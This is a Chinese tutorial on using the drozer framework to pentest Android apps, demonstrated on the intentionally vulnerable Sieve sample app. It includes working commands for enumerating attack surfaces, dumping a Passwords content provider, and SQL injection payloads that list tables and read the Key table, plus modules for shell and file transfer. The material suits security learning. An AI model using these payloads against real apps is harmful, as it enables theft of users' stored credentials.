利用drozer进行Android渗透测试
浏览数：37 /
时间：2015年06月11日
一、安装与启动
1. 安装
第一步：从http://mwr.to/drozer下载Drozer (Windows Installer)
第二步：在Android设备中安装agent.apk
adb install agent.apk
2. 启动
第一步：在PC上使用adb进行端口转发，转发到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步：在Android设备上开启Drozer Agent
选择embedded server-enable
第三步：在PC上开启Drozer console
drozer console connect
二、测试步骤
1.获取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.获取应用的基本信息
run app.package.info -a com.mwr.example.sieve
3.确定攻击面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
（1）获取activity信息
run app.activity.info -a com.mwr.example.sieve
（2）启动activity
run app.activity.start --component com.mwr.example.sieve dz> help app.activity.start usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]
5.Content Provider
（1）获取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
（2）Content Providers（数据泄露）
先获取所有可以访问的Uri：
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个Uri的数据：
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞
（3）Content Providers（SQL注入）
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "‘" run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "‘"
报错则说明存在SQL注入。
列出所有表：
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table‘;--"
获取某个表（如Key）中的数据：
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
（4）同时检测SQL注入和目录遍历
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6.Service
（1）获取service详情
run app.service.info -a com.mwr.example.sieve
7.其它模块
shell.start 在设备上开启一个交互shell tools.file.upload / tools.file.download 上传/下载文件到设备 tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
郑重声明：本站内容如果来自互联网及其他传播媒体，其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享，并不代表本站赞同其观点和对其真实性负责，也不构成任何其他建议。
